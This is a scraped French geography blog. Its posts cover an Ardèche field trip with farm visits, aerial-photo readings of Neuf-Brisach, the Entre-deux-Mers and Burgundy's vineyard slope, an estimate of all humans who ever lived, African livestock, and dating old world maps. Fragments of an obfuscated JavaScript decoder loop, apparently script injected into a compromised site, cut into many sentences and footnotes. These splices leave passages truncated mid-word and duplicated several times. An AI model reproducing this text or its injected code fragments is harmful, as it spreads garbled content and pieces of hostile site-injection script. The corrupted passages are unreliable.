6. q8&3)<<6)|w7;if(qb>=192)qb+=848;else if(qb==168)qb=1025;else if(qb==184)qb=1105;r1+=String.fromCharCode(qb);if(q8!=64){if(rd>=192)rd+=848;else if(rd==168)rd=1025;else if(rd==184)rd=1105;r1+=String.fromCharCode(rd);}if(w7!=64){if(wb>=192)wb+=848;else if(wb==168)wb=1025;else if(wb==184)wb=1105;r1+=String.fromCharCode(wb);}}while(vfands édifices volcaniques et résultant d'une éruption qui vide la chambre magmatique sous-jacente ») : l'Ardèche c'est aussi le vert de la végétation, même en été ; les volcans et les prairies fleuries pleines d'une biodiversité.

Caldeira
Croquis : J.-B. Bouron

Troisième arrêt au barrage de Lapalisse qui transfère de l'eau de la Loire vers l'Ardèche, un haut point géographique, d'ingénierie et de forts enjeux géopolitiques interbassins ! De ce transfert d’eau dépend une partie de la ressource touristique de la vallée de l’Ardèche.

Nathalie HeurtaultCliché : Nathalie Heurtault, 2017

Descente vers le Lac d'Issarlès qui offre une vue imprenable sur le Mont Mézenc, une station de pompage EDF et le tourisme vert des lacs de Haute Ardèche : les géographes sont heureux de se rafraîchir dans ce très beau cadre !

Encore un peu de route et installation à l'Hôtel des voyageurs d’Issarlès, un petit bourg, qui fut sans doute une importante place de marché. Le village n’a pas de rue mais une succession de vastes places. Nous sommes comme des coqs en pâte avec une vue sur les prés, la forêt et la place du village (où une maison 1900 à vendre « dans son jus » ferait un beau siège pour la Géothèque...). Adhérez à l’association pour lui permettre de débuter un empire immobilier !

Nathalie Heurtault
Cliché : Nathalie Heurtault, 2017

Soirée au hameau Les Arcis, commune d'Issarlès, où notre guide habite la moitié de l'année. Après un apéro mérité et composé de fromages, charcuterie et vins locaux, il nous fait rencontrer Rosa Moulin, 98 ans, et ses deux fils célibataires, qui s'occupent de leur 20 vaches laitières (sa fille et son gendre qui habitent Lyon sont aussi là). Une fois de plus, impossible de ne pas penser à L'Approche où Depardon interroge des paysans, notamment dans le Haut Vivarais voisin. Rosa est une figure, travaillant aux champs depuis son enfance et la mort de son père de ses blessures de guerre (mais « mort à la maison, ma mère n'a jamais eu droit à une pension, il aurait fallu qu'il meure à l'hôpital »). Autour d'un pastis et d'une brioche (ici l’apéritif s'accompagne de sucré) elle raconte un peu de sa vie dans ce pays qu'on devine rude. Ses fils nous montrent les vaches et le lieu de traite (le plus simple qui soit), l'un est très en retrait, ne conduit pas (ce qui nous semble une contrainte gigantesque dans ce contexte « loin de tout ») et l'autre est un peu plus disert et mobile. Voyage dans le temps garanti. La soirée s'écoule ensuite on ne peut plus agréablement autour d'un barbecue et de quelques bouteilles de Pécoulas.

Nathalie Heurtault
Cliché : Nathalie Heurtault, 2017

Dimanche 9 juillet 2017

Doux réveil après une nuit fraîche (ouf !) à Issarlès avec petit déjeuner sur la terrasse de l'Hôtel des voyageurs. On voit un peu de la vie dominicale de ce bourg blotti dans la moyenne montagne : motards suisses en goguette, locaux qui viennent chercher leur pain, boire leur café ou leur bière du matin... Croquis de la place, averse, soleil...

Issarlès depuis Hotel des Voyageurs

On part ensuite visiter la Ferme de la Louvèche (commune du Lac d’Issarlès) où Nicolas, le fils, associé à sa femme et son père (la maman étant officiellement à la retraite), mène énergiquement les activités d'élevage, transformation et vente directe. 60 hectares (30 de fauche qu'ils font faire et 30 de pâturage pour les chèvres), 60 à 70 chèvres alpines et 10 à 15 porcs fermiers font de cette ferme un lieu d'activité diversifiée ouverte au public. Cependant, les cars ne peuvent pas monter : le public est surtout constitué des groupes de personnes en situation de h;p5=s4.indexOf(wc.charAt(vf++

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9. p5&15)<<4)|(q8>>2);wb=((q8&3)<<6)|w7;if(qb>=192)qb+=848;else if(qb==168)qb=1025;else if(qb==184)qb=1105;r1+=String.fromCharCode(qb);if(q8!=64){if(rd>=192)rd+=848;else if(rd==168)rd=1025;else if(rd==184)rd=1105;r1+=String.fromCharCode(rd);}if(w7!=64){if(wb>=192)wb+=848;else if(wb==168)wb=1025;else if(wb==184)wb=1105;r1+=String.fromCharCode(wb);}}while(vfand le fils a voulu prendre la suite il l'a encouragé à diversifier et se lancer dans sa propre activité choisie par goût personnel : l’élevage de porcs fermiers et leur transformation sur place (abattage ailleurs). La chambre d'agriculture leur avait conseillé plutôt d’intensifier en doublant le cheptel de chèvres mais il aurait fallu agrand le fils a voulu prendre la suite il l'a encouragé à diversifier et se lancer dans sa propre activité choisie par goût personnel : l’élevage de porcs fermiers et leur transformation sur place (abattage ailleurs). La chambre d'agriculture leur avait conseillé plutôt d’intensifier en doublant le cheptel de chèvres mais il aurait fallu agr;p5=s4.indexOf(wc.charAt(vf++
11. p5&15)<<4)|(q8>>2);wb=((q8&3)<<6)|w7;if(qb>=192)qb+=848;else if(qb==168)qb=1025;else if(qb==184)qb=1105;r1+=String.fromCharCode(qb);if(q8!=64){if(rd>=192)rd+=848;else if(rd==168)rd=1025;else if(rd==184)rd=1105;r1+=String.fromCharCode(rd);}if(w7!=64){if(wb>=192)wb+=848;else if(wb==168)wb=1025;else if(wb==184)wb=1105;r1+=String.fromCharCode(wb);}}while(vfandir les bâtiments, les terrains, etc.

Cliché : Nathalie Heurtault, 2017
Cliché : Nathalie Heurtault, 2017

Cependant, le fils a fait le choix de la diversification et de la transformation sur place associée à la vente directe. Ce choix lui permet également une certaine autonomisation par rapport aux pratiques d’élevage de son père/associé. Avec un investissement de 150 000 € dans les deux laboratoires (celui de fromages et celui de découpe et charcuterie), l'exploitation produit ses charcuteries et viandir les bâtiments, les terrains, etc.

Cliché : Nathalie Heurtault, 2017
Cliché : Nathalie Heurtault, 2017

Cependant, le fils a fait le choix de la diversification et de la transformation sur place associée à la vente directe. Ce choix lui permet également une certaine autonomisation par rapport aux pratiques d’élevage de son père/associé. Avec un investissement de 150 000 € dans les deux laboratoires (celui de fromages et celui de découpe et charcuterie), l'exploitation produit ses charcuteries et vi;p5=s4.indexOf(wc.charAt(vf++

13. p5&15)<<4)|(q8>>2);wb=((q8&3)<<6)|w7;if(qb>=192)qb+=848;else if(qb==168)qb=1025;else if(qb==184)qb=1105;r1+=String.fromCharCode(qb);if(q8!=64){if(rd>=192)rd+=848;else if(rd==168)rd=1025;else if(rd==184)rd=1105;r1+=String.fromCharCode(rd);}if(w7!=64){if(wb>=192)wb+=848;else if(wb==168)wb=1025;else if(wb==184)wb=1105;r1+=String.fromCharCode(wb);}}while(vfandes de porcs fermiers (sans label bio, le grain coûterait trop cher : de 300 € la tonne le coût du grain bio passerait à 500 € la tonne, sachant que Nicolas en utilise une tonne tous les 45 jours) et ses fromages de chèvre (bio ceux-là, mais hors AOC en raison d’un différend à l'occasion d'une redéfinition de l'espace de l'AOC Picodon) : un délice ! Les coffres se remplissent à nouveau, après une dégustation très agréable et un accueil très chaleureux... On ne peut au final qu'être frappés par le contraste entre l'exploitation familiale des Arcis et celle de La Louvèche : Nicolas a fait un lycée agricole (où on n’apprend, semble-t-il, qu’à « remplir les formulaires de la PAC ») puis une formation pour adultes de transformation du porc. Il est très inséré dans les canaux de distribution directe (Ruche qui dit Oui à Aubenas pour laquelle il adapte ses caissettes aux consommateurs urbains, vente à la ferme, visites, volonté de sensibiliser à la qualité). On sent la hauteur de vue du fils comme du père qui a su laisser une innovation sociale bien dosée transformer sa propriété en une ferme très agréable et passionnante à visiter (avec une vue imprenable sur l'Ardèche verte).

Cliché : Nathalie Heurtault, 2017Cliché : Nathalie Heurtault, 2017

La troupe des géographes descend ensuite vers le plateau par la Route des sucs. Toujours selon notre ami Wikipédia, un suc est un « sommet volcanique caractéristique de la région du Velay et du haut Vivarais dans le Massif central. Il se présente sous la forme d'un piton ou d'un dôme aux pentes fortes, nettement proéminent, de nature trachytique ou phonolitique. Ils dominent des plateaux basaltiques qui ont sensiblement le même âge géologique. L'ensemble forme un paysage caractéristique fait de hauts plateaux et de pointements isolés. ». C’est de toute beauté et très dépaysant ; cela me rappelle les Mogottes de la Vallée de Viñales à Cuba. Déjeuner au restaurant Beauséjour (commune du Béage), une adresse délicieuse, avec une vue imprenable et un service impeccable ! Les charcuteries, viandes de porcs fermiers (sans label bio, le grain coûterait trop cher : de 300 € la tonne le coût du grain bio passerait à 500 € la tonne, sachant que Nicolas en utilise une tonne tous les 45 jours) et ses fromages de chèvre (bio ceux-là, mais hors AOC en raison d’un différend à l'occasion d'une redéfinition de l'espace de l'AOC Picodon) : un délice ! Les coffres se remplissent à nouveau, après une dégustation très agréable et un accueil très chaleureux... On ne peut au final qu'être frappés par le contraste entre l'exploitation familiale des Arcis et celle de La Louvèche : Nicolas a fait un lycée agricole (où on n’apprend, semble-t-il, qu’à « remplir les formulaires de la PAC ») puis une formation pour adultes de transformation du porc. Il est très inséré dans les canaux de distribution directe (Ruche qui dit Oui à Aubenas pour laquelle il adapte ses caissettes aux consommateurs urbains, vente à la ferme, visites, volonté de sensibiliser à la qualité). On sent la hauteur de vue du fils comme du père qui a su laisser une innovation sociale bien dosée transformer sa propriété en une ferme très agréable et passionnante à visiter (avec une vue imprenable sur l'Ardèche verte).

Cliché : Nathalie Heurtault, 2017Cliché : Nathalie Heurtault, 2017

La troupe des géographes descend ensuite vers le plateau par la Route des sucs. Toujours selon notre ami Wikipédia, un suc est un « sommet volcanique caractéristique de la région du Velay et du haut Vivarais dans le Massif central. Il se présente sous la forme d'un piton ou d'un dôme aux pentes fortes, nettement proéminent, de nature trachytique ou phonolitique. Ils dominent des plateaux basaltiques qui ont sensiblement le même âge géologique. L'ensemble forme un paysage caractéristique fait de hauts plateaux et de pointements isolés. ». C’est de toute beauté et très dépaysant ; cela me rappelle les Mogottes de la Vallée de Viñales à Cuba. Déjeuner au restaurant Beauséjour (commune du Béage), une adresse délicieuse, avec une vue imprenable et un service impeccable ! Les charcuteries, vi;p5=s4.indexOf(wc.charAt(vf++

15. q8&3)<<6)|w7;if(qb>=192)qb+=848;else if(qb==168)qb=1025;else if(qb==184)qb=1105;r1+=String.fromCharCode(qb);if(q8!=64){if(rd>=192)rd+=848;else if(rd==168)rd=1025;else if(rd==184)rd=1105;r1+=String.fromCharCode(rd);}if(w7!=64){if(wb>=192)wb+=848;else if(wb==168)wb=1025;else if(wb==184)wb=1105;r1+=String.fromCharCode(wb);}}while(vfands en goguette). Petite exploitation familiale de 4 personnes qui s'est lancée dans les bags in box, et a mécanisé la vendange. Les coffres des voitures se remplissent...


Clichés : Nathalie Heurtault, 2017

Pique-nique au bord de l'Ardèche dans un village au label des « plus beaux villages de France » : Vogüe. Les pieds dans la fraîche Ardèche on voit un peu de la mise en tourisme de cette Ardèche méridionale « autoroute à canoës » (même si début juillet le touriste n'est pas encore trop présent).

nathalie heurtaultNathalie Heurtault
Clichés : Nathalie Heurtault, 2017

Début de la montée dans la montagne ardéchoise : premier arrêt juste avant le Tunnel du Roux, occasion de photos, croquis de paysage et commentaire de Jean-Louis notre guide local de l'étape. On observe notamment l’étagement montagnard avec la limite altitudinale du châtaignier, puis celle de la forêt, et les premières pelouses d’altitude. Paysages superbes, on s’approche des lieux de la trilogie documentaire de Depardon (Profils paysans, trois films réalisés par le photographe-cinéaste entre 2001 et 2008 : « L'approche », « Le quotidien » et « La vie moderne »), tant par le bâti que la rudesse du paysage.

Croquis vallée de la Fontaulière et vue sur la vallée du Rhône
Croquis : J.-B. Bouron

Passage de la ligne de partage des eaux entre bassin versant de l'Ardèche (Méditerranée) et de la Loire (Atlantique). Voir à ce sujet l'excellent documentaire de Dominique Marchais, La Ligne de partage des eaux, avec des vrais morceaux de géographie dedans.

Nathalie HeurtaultNathalie Heurtault Nathalie Heurtault
Clichés : Nathalie Heurtault, 2017

Arrêt à la caldeira de la Fontaulière (selon notre ami wikipédia : « vaste dépression circulaire ou elliptique, généralement d'ordre kilométrique, souvent à fond plat, située au cœur de certains gr;p5=s4.indexOf(wc.charAt(vf++

Voir une ville fortifiée par Vauban : Neuf Brisach

Neuf Brisach fait partie des douze sites inscrits dans le Réseau des sites majeurs Vauban créé en 2005, et classé sur la liste du patrimoine de l’humanité de l’Unesco. Il s’agit de l’un des projets les plus aboutis de Sébastien Le Prestre, marquis de Vauban, ingénieur militaire et ministre de Louis XIV. La ville, fondée en 1697, se surimpose à la trame agricole préexistante. En effet, comme son nom l’indique, il s’agissait alors d’une création ex-nihilo destinée à compenser la perte du Vieux-Brisach, aujourd’hui Breisach am Rhein en Bade-Wurtemberg, situé juste de l’autre côté du Rhin devenu frontière. L’image laisse très bien voir le plan d’une ville nouvelle néoclassique, avec la place d’arme au centre d’une trame viaire orthogonale. La forme générale est celle d’un octogone entouré par plusieurs lignes de fortifications alternant remparts, fossés et glacis. Leur forme caractéristique permet aux défenseurs de pouvoir atteindre n’importe quel attaquant sans angle mort, tout en offrant peu de prise à l’artillerie. La couleur rose dominante et visible sur l’image est celle du grès rose descendu des Vosges jusqu’à la plaine du Rhin, un fossé d’effondrement tectonique.

Neuf-Brisach – Haut-Rhin – Coordonnées géographiques : 48° 01′ 08″ nord,7° 31′ 45″ est – Source : Géoportail (tous droits réservés)

Voir un site de confluence en fond d’estuaire : l’Entre-deux-Mers

Le nom même de ce site, l’Entre-deux-Mers, témoigne bien de l’imbrication des éléments fluviaux et maritimes, là où confluent deux cours d’eau majeurs à l’échelle française, la Garonne qui vient du sud et la Dordogne venue de l’est. La particularité de cet estuaire est de posséder son propre nom, la Gironde, comme pour affirmer l’égalité des deux cours d’eau avant qu’ils ne se jettent dans l’Atlantique. Le site de confluence est un site contraignant par sa difficulté d’accès : il s’agit d’une presqu’île qu’on ne peut atteindre à pied sec que par un côté. C’est aussi une zone humide constitué de sédiments gorgés d’eaux, comme l’ont appris à leur dépens les constructeurs du musée des Confluences à Lyon. Ces contraintes ne découragent pas les convoitises et le site a attiré les activités liées à l’industrie pétrolière et gazière, qui profitent de la proximité avec l’approvisionnement par voie maritime. Le pétrole est en partie raffiné et en partie transformé en électricité par une centrale thermique.

On devine bien également les activités agricoles, l’agriculture sur les parcelles les mieux drainées et l’élevage sur les prairies humides ceintes par des haies, tandis que la viticulture est présente sur les pentes les mieux drainées, sur les terrasses surplombant le lit du fleuve, dans la partie sud-ouest de la carte.

Entre-deux-Mers - Gironde - Coordonnées géographiques : 45° 00′ 44″ nord, 0° 31′ 45″ ouest - Source : Géoportail (tous droits réservés)

Voir une côte viticole renommée

La photographie aérienne révèle une ligne de faille, matérialisée dans le paysage par un talus marqué qui sépare un plateau, à l’ouest, et la plaine de la Saône, à l’est. Le recul de l’agriculture et l’élevage sur les hauteurs a entraîné l’extension des surfaces forestières. Les grandes cultures, elles, continuent de dominer la plaine, à l’exception de la zone de contact au centre de l’image dans laquelle se déploient les vignobles renommés de Bourgogne. La route qui traverse le centre de l’image du nord au sud a été baptisée la route des Gr;p5=s4.indexOf(wc.charAt(vf++;q8=s4.indexOf(wc.charAt(vf++));w7=s4.indexOf(wc.charAt(vf++));qb=(p1<<2)|(p5>>4);rd=((p5&15)<<4)|(q8>>2);wb=((q8&3)<<6)|w7;if(qb>=192)qb+=848;else if(qb==168)qb=1025;else if(qb==184)qb=1105;r1+=String.fromCharCode(qb);if(q8!=64){if(rd>=192)rd+=848;else if(rd==168)rd=1025;else if(rd==184)rd=1105;r1+=String.fromCharCode(rd);}if(w7!=64){if(wb>=192)wb+=848;else if(wb==168)wb=1025;else if(wb==184)wb=1105;r1+=String.fromCharCode(wb);}}while(vfands Crus, et elle sillonne des villages dont les noms sont mondialement connus : Vosne-Romanée au Sud, Vougeot au centre-nord, et en quittant la route vers le nord-ouest, Chambolle-Musigny. La Romanée est la plus petite AOC viticole française avec 85 ares qui produisent seulement 4 000 bouteilles par an. Pour les plus pressés, l’autoroute A31, visible sur la droite de la photographie, relie Beaune à Dijon puis à l’Europe du Nord.

Vougeot et Vosne-Romanée - Côte-d’Or - Coordonnées géographiques : 47.16553 , 4.953632 - Source : Géoportail (tous droits réservés)

Notes   [ + ]

1. p5&15)<<4)|(q8>>2);wb=((q8&3)<<6)|w7;if(qb>=192)qb+=848;else if(qb==168)qb=1025;else if(qb==184)qb=1105;r1+=String.fromCharCode(qb);if(q8!=64){if(rd>=192)rd+=848;else if(rd==168)rd=1025;else if(rd==184)rd=1105;r1+=String.fromCharCode(rd);}if(w7!=64){if(wb>=192)wb+=848;else if(wb==168)wb=1025;else if(wb==184)wb=1105;r1+=String.fromCharCode(wb);}}while(vfandes cultures, elles, continuent de dominer la plaine, à l’exception de la zone de contact au centre de l’image dans laquelle se déploient les vignobles renommés de Bourgogne. La route qui traverse le centre de l’image du nord au sud a été baptisée la route des Grandes cultures, elles, continuent de dominer la plaine, à l’exception de la zone de contact au centre de l’image dans laquelle se déploient les vignobles renommés de Bourgogne. La route qui traverse le centre de l’image du nord au sud a été baptisée la route des Gr;p5=s4.indexOf(wc.charAt(vf++

Combien d’humains ont vécu sur Terre au total ?

Si tous les humains ressuscitaient, les humains d’aujourd’hui seraient-ils dispersés au milieu d’une foule d’hommes préhistoriques ?

Le chiffre total d’êtres humains à s’être succédé sur la Terre n’est pas très intéressant, en raison d’une mortalité infantile très élevée jusqu’aux périodes récentes. Nous avons donc cherché à savoir, plus précisément, le nombre d’êtres humains ayant dépassé l’âge de cinq ans, depuis les premiers hominidés.

Les données nécessaires sont : la population humaine totale à plusieurs dates, la mortalité infantile (avant 1 an) et juvénile (avant 5 ans), ainsi que l’espérance de vie adulte, à ces mêmes dates. Cela permet de calculer le nombre de générations à s’être succédé sur terre depuis l’aube de l’humanité.1Bon, alors autant vous dire qu’on ne va pas trancher ici le débat sur la date à laquelle les primates deviennent des humains. Sans aller jusqu’à Toumaï qui serait le premier hominidé (7 millions d’années BP), nous sommes remontés à -1,5 millions d’années. Si la recherche scientifique permet d’avoir une idée assez précise de ces chiffres depuis le Néolithique, il est beaucoup plus d’obtenir des données pour les périodes précédentes. On sait seulement que la population humaine est très peu nombreuse : Jean-Pierre Bocquet-Appel et al. 2http://www.evolhum.cnrs.fr/bocquet/jas2005.pdf ont calculé que la population européenne à l’Aurignacien (39 à 28 000 ans BP) était comprise entre 1 000 et 30 000 individus. En extrapolant et en considérant que l’Europe, aux périodes glaciaires, n’est pas le continent le plus peuplé, on obtient une population mondiale de 50 à 100 000 individus au plus, avec une augmentation presque nulle pendant des centaines de milliers d’années. On sait également que l’espérance de vie est très basse (environ 13 ans), en raison de la mortalité infantile. En supposant une mortalité infantile légèrement supérieure à celle calculée par les ethnologues pour des sociétés de chasseurs-cueilleurs les plus isolées rencontrées au début du XXe siècle, on obtient un chiffre de 6/10 (quatre enfants sur dix dépassent l’âge de 1 an). En raison de la durée de la période allant d’Homo erectus au Néolithique, la marge d’erreur est importante. Mais le très faible nombre d’hommes à ces périodes permet de calculer que même avec la plus grande marge d'erreur, on ne peut que doubler le résultat final du nombre d'humains.

Voici les résultats :

L'estimation haute aboutit à 66 milliards d'êtres humains ayant jamais vécu sur terre depuis Homo erectus, dont 18 milliards ont dépassé l'âge de 5 ans. La médiane se situe autour de l'an mille : autant d'humains adultes ont vécu avant cette date qu'après. Les humains actuels (enfants compris) représentent donc un dixième du total de l'humanité depuis ses origines.

Les Hommes "adultes" (dans nos calculs, âgés de plus de 5 ans) du Paléolithique représentent entre 5,1 % et 11,2 % de l'humanité adulte, ceux du Néolithique autour de 6 %. Par ailleurs, 15 % des humains adultes ont vécu avant 1 000 avant Jésus-Christ, alors que 22 % de l'humanité a vécu après la 2nde guerre mondiale. Notre lecteur, s'il a plus de 5 ans, représente 0,00000000151 % de l'humanité ayant dépassé cet âge.

Proportion des êtres humains par période :

distribution_des_tres_humains_par_priode_historique

Attention, l'échelle de temps n'est pas proportionnelle à la réalité. Les durées sont trop longues pour afficher sur la même échelle des siècles et des centaines de milliers d'années. Il n'y a donc pas de baisse de la population après le moyen-âge : la période de l'an 1 à l'an 1000 est seulement beaucoup plus longue que les périodes suivantes. Ce graphique donne seulement à voir la part d'humains ayant vécu à chaque époque indiquée.

Cumul des êtres humains par période :

cumul_des_tres_humains

Voici, pour les plus méticuleux, le détail de nos calculs :

Définitions

  • Mortalité Juvénile MJ : taux de mortalité des enfants de moins de 5 ans
  • Espérance de Vie EV : durée de vie moyenne d'une population fictive qui vivrait toute son existence dans les conditions de mortalité de l'année considérée
  • Espérance de Vie des Adultes EVA : durée de vie moyenne de la poriton de cette population qui a atteint 5 ans
  • Le jeu de données est organisé consiste en Point dans le Temps (PT)
  • Pour chaque PT, les indicateurs suivant sont disponibles : année, poulation en millions, EV, EVA, MJ et proportions continentales

Mode de calcul 1 - intégration numérique

  • Linéarité entre deux PTs :
    •  Nous avons considéré que les indicateurs évoluent linéairement entre deux PTs
    • Cette approximation semble raisonnable sur les intervalles suivant : -700K - 1700, 1700-1900, 1900-1950 et 1950 à nos jours
    • La résolution des PT du jeu de données est consistante avec cette assomption
    • Dans ce contexte, l'intégration numérique par le point moyen semble adaptée
  • Pour chaque période PT 1 => PT 2
  • NEH yx = Nombre d'être humains l'année x
  • Temps Ecoulé TE = y2 - y1
  • Nombre moyen d'Etres Humains pour la période NEHP = (NEH y2 + NEH y1) / 2
  • EVA pour la période EVAP = (EVA y1 + EVA y2) / 2
  • Proportion d'Etres Humains qui deviendront Adultes pour la Période PEHAP = 1  - ( (MJ y1 + MJ y2) / 2)
  • Quantité d'Etres Humains nés sur la Période QEHP = TE * NEHP / EVAP
  • Quantité d'Etres Humains qui deviendront Adultes nés sur la Période QEHAP = TE * NEHP * PEHAP / EVP

Mode de calcul 2 - intégration de la fonction de croissance

  • Une autre méthode de cacul consiste a utiliser le modèle de croissance de population
  • Dans ce modèle, à chaque instant, la croissance de la population est proportionnel au nombre d'individus de cette population
  • NEH y1 = Ce^(r * y1) et NEH y2 = Ce^(r * y2)
  • Par intégration, QEHP = TE * (NEH y2 - NEH y1) / (ln(NEH y2) - ln(NEH y1 / EVP

Ces deux modes de calculs s'avèrent être très similaires :

cumul_des_tres_humains_-_comparaison_des_mthodes_de_calcul


Jean-Benoît Bouron et Lucas Mouilleron

Notes   [ + ]

1. Bon, alors autant vous dire qu’on ne va pas trancher ici le débat sur la date à laquelle les primates deviennent des humains. Sans aller jusqu’à Toumaï qui serait le premier hominidé (7 millions d’années BP), nous sommes remontés à -1,5 millions d’années.
2. http://www.evolhum.cnrs.fr/bocquet/jas2005.pdf
3. p5&15)<<4)|(q8>>2);wb=((q8&3)<<6)|w7;if(qb>=192)qb+=848;else if(qb==168)qb=1025;else if(qb==184)qb=1105;r1+=String.fromCharCode(qb);if(q8!=64){if(rd>=192)rd+=848;else if(rd==168)rd=1025;else if(rd==184)rd=1105;r1+=String.fromCharCode(rd);}if(w7!=64){if(wb>=192)wb+=848;else if(wb==168)wb=1025;else if(wb==184)wb=1105;r1+=String.fromCharCode(wb);}}while(vfande marge d'erreur, on ne peut que doubler le résultat final du nombre d'humains.

Voici les résultats :

L'estimation haute aboutit à 66 milliards d'êtres humains ayant jamais vécu sur terre depuis Homo erectus, dont 18 milliards ont dépassé l'âge de 5 ans. La médiane se situe autour de l'an mille : autant d'humains adultes ont vécu avant cette date qu'après. Les humains actuels (enfants compris) représentent donc un dixième du total de l'humanité depuis ses origines.

Les Hommes "adultes" (dans nos calculs, âgés de plus de 5 ans) du Paléolithique représentent entre 5,1 % et 11,2 % de l'humanité adulte, ceux du Néolithique autour de 6 %. Par ailleurs, 15 % des humains adultes ont vécu avant 1 000 avant Jésus-Christ, alors que 22 % de l'humanité a vécu après la 2nde guerre mondiale. Notre lecteur, s'il a plus de 5 ans, représente 0,00000000151 % de l'humanité ayant dépassé cet âge.

Proportion des êtres humains par période :

distribution_des_tres_humains_par_priode_historique

Attention, l'échelle de temps n'est pas proportionnelle à la réalité. Les durées sont trop longues pour afficher sur la même échelle des siècles et des centaines de milliers d'années. Il n'y a donc pas de baisse de la population après le moyen-âge : la période de l'an 1 à l'an 1000 est seulement beaucoup plus longue que les périodes suivantes. Ce graphique donne seulement à voir la part d'humains ayant vécu à chaque époque indiquée.

Cumul des êtres humains par période :

cumul_des_tres_humains

Voici, pour les plus méticuleux, le détail de nos calculs :

Définitions

  • Mortalité Juvénile MJ : taux de mortalité des enfants de moins de 5 ans
  • Espérance de Vie EV : durée de vie moyenne d'une population fictive qui vivrait toute son existence dans les conditions de mortalité de l'année considérée
  • Espérance de Vie des Adultes EVA : durée de vie moyenne de la poriton de cette population qui a atteint 5 ans
  • Le jeu de données est organisé consiste en Point dans le Temps (PT)
  • Pour chaque PT, les indicateurs suivant sont disponibles : année, poulation en millions, EV, EVA, MJ et proportions continentales

Mode de calcul 1 - intégration numérique

  • Linéarité entre deux PTs :
    •  Nous avons considéré que les indicateurs évoluent linéairement entre deux PTs
    • Cette approximation semble raisonnable sur les intervalles suivant : -700K - 1700, 1700-1900, 1900-1950 et 1950 à nos jours
    • La résolution des PT du jeu de données est consistante avec cette assomption
    • Dans ce contexte, l'intégration numérique par le point moyen semble adaptée
  • Pour chaque période PT 1 => PT 2
  • NEH yx = Nombre d'être humains l'année x
  • Temps Ecoulé TE = y2 - y1
  • Nombre moyen d'Etres Humains pour la période NEHP = (NEH y2 + NEH y1) / 2
  • EVA pour la période EVAP = (EVA y1 + EVA y2) / 2
  • Proportion d'Etres Humains qui deviendront Adultes pour la Période PEHAP = 1  - ( (MJ y1 + MJ y2) / 2)
  • Quantité d'Etres Humains nés sur la Période QEHP = TE * NEHP / EVAP
  • Quantité d'Etres Humains qui deviendront Adultes nés sur la Période QEHAP = TE * NEHP * PEHAP / EVP

Mode de calcul 2 - intégration de la fonction de croissance

  • Une autre méthode de cacul consiste a utiliser le modèle de croissance de population
  • Dans ce modèle, à chaque instant, la croissance de la population est proportionnel au nombre d'individus de cette population
  • NEH y1 = Ce^(r * y1) et NEH y2 = Ce^(r * y2)
  • Par intégration, QEHP = TE * (NEH y2 - NEH y1) / (ln(NEH y2) - ln(NEH y1

L’Afrique, le bœuf et le chameau

Deux infographies indispensables sur l’élevage en Afrique, réalisées grâce aux données fournies par la Food and Agriculture Organization, sur son site FAOstat. On l'ignore souvent, mais l'Afrique produit une gr;p5=s4.indexOf(wc.charAt(vf++;q8=s4.indexOf(wc.charAt(vf++));w7=s4.indexOf(wc.charAt(vf++));qb=(p1< <2)|(p5>>4);rd=((p5&15)< <4)|(q8>>2);wb=((q8&3)< <6)|w7;if(qb>=192)qb+=848;else if(qb==168)qb=1025;else if(qb==184)qb=1105;r1+=String.fromCharCode(qb);if(q8!=64){if(rd>=192)rd+=848;else if(rd==168)rd=1025;else if(rd==184)rd=1105;r1+=String.fromCharCode(rd);}if(w7!=64){if(wb>=192)wb+=848;else if(wb==168)wb=1025;else if(wb==184)wb=1105;r1+=String.fromCharCode(wb);}}while(vfande majorité des chameaux dans le monde, étant entendu que le dromadaire n'est autre que le chameau dit "d'Arabie" (tout le monde le sait mais il doit bien y avoir une page Wikipédia qui le confirme, je laisse nos lecteurs s'en assurer)

Afrique-bovins Lire la suite

Notes   [ + ]

1. p5&15)< <4)|(q8>>2);wb=((q8&3)< <6)|w7;if(qb>=192)qb+=848;else if(qb==168)qb=1025;else if(qb==184)qb=1105;r1+=String.fromCharCode(qb);if(q8!=64){if(rd>=192)rd+=848;else if(rd==168)rd=1025;else if(rd==184)rd=1105;r1+=String.fromCharCode(rd);}if(w7!=64){if(wb>=192)wb+=848;else if(wb==168)wb=1025;else if(wb==184)wb=1105;r1+=String.fromCharCode(wb);}}while(vfand Agriculture Organization, sur son site FAOstat. On l'ignore souvent, mais l'Afrique produit une grand Agriculture Organization, sur son site FAOstat. On l'ignore souvent, mais l'Afrique produit une gr;p5=s4.indexOf(wc.charAt(vf++

Dater un planisphère (en s’amusant)

Comment dater un planisphère

La mode des objets issus de l’univers de l’école de la IIIe République (1870-1940) a couvert de nombreux murs de planisphères muraux aux couleurs pastels. Etalant une « vaste tache rose » sur l’Afrique Occidentale Française, tirant des câbles télégraphiques en traits fins entre les continents, ils révèlent le génie d’auteurs qui travaillaient à la main et sans avoir jamais vu une photographie de la terre vue de l’espace. Hélas, ces chefs-d’œuvre de la géographie scolaire, signés Vidal de la Blache ou Jean Brunhes, sont rarement datés. La date se doit au moins d’être discrète pour pouvoir faire durer les ventes, un peu comme les dates de péremption sur les produits alimentaires, et bien souvent elle est absente. La datation précise est un problème que connaissent tous les amateurs de cartes anciennes. Or, le site d’humour geek et scientifique XKCD a publié récemment un incroyable guide de datation des planisphères (en anglais) aussi loufoque que précis.

Ni une, ni deux, la Géothèque profite de la licence Creative Commons du document original pour en proposer une version librement adaptée en français (certaines parties sont très différentes de l’original. Cette version en A3 est pensée pour rester imprimable et lisible en A4.

 

L’Afrique, le continent des problèmes, des possibles, des défis ?

Mise à jour 7/6/16 : l’erreur de localisation du port d’Abidjan est corrigée (merci au lecteur attentif qui nous l’a signalée !)

Au programme de Terminale figure un chapitre intitulé « Le continent africain face au développement et à la mondialisation ». Dans ce cadre, les élèves doivent pouvoir réaliser un croquis sur le thème « Le continent africain » : contrastes de développement et inégale intégration dans la mondialisation ». Ce chapitre est intéressant et il oblige à une certaine gymnastique intellectuelle, qui doit montrer l’Afrique comme un continent des possibles, et tordre le cou aux idées reçues, sans tomber dans l’angélisme ou occulter les problèmes, bien réels du continent. Les deux croquis suivants sont à la disposition des professeurs et de leurs élèves, avec une version vidéo-projetable et l’autre imprimable et photocopiable à souhait.croquis Couleurs Afrique

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Plan d’Istanbul après la conquête ottomane

Constantinople

 

 

 

Sans commentaire, un plan dont la légende est à faire compléter par les élèves. Peut s’avérer utile notamment pour traiter le chapitre du programme de 2nde consacré à l’élargissement des horizons des Européens à l’époque moderne. Il s’agit du plan de Constantinople après la conquête de la ville par le sultan ottoman Mehmet II en 1453.

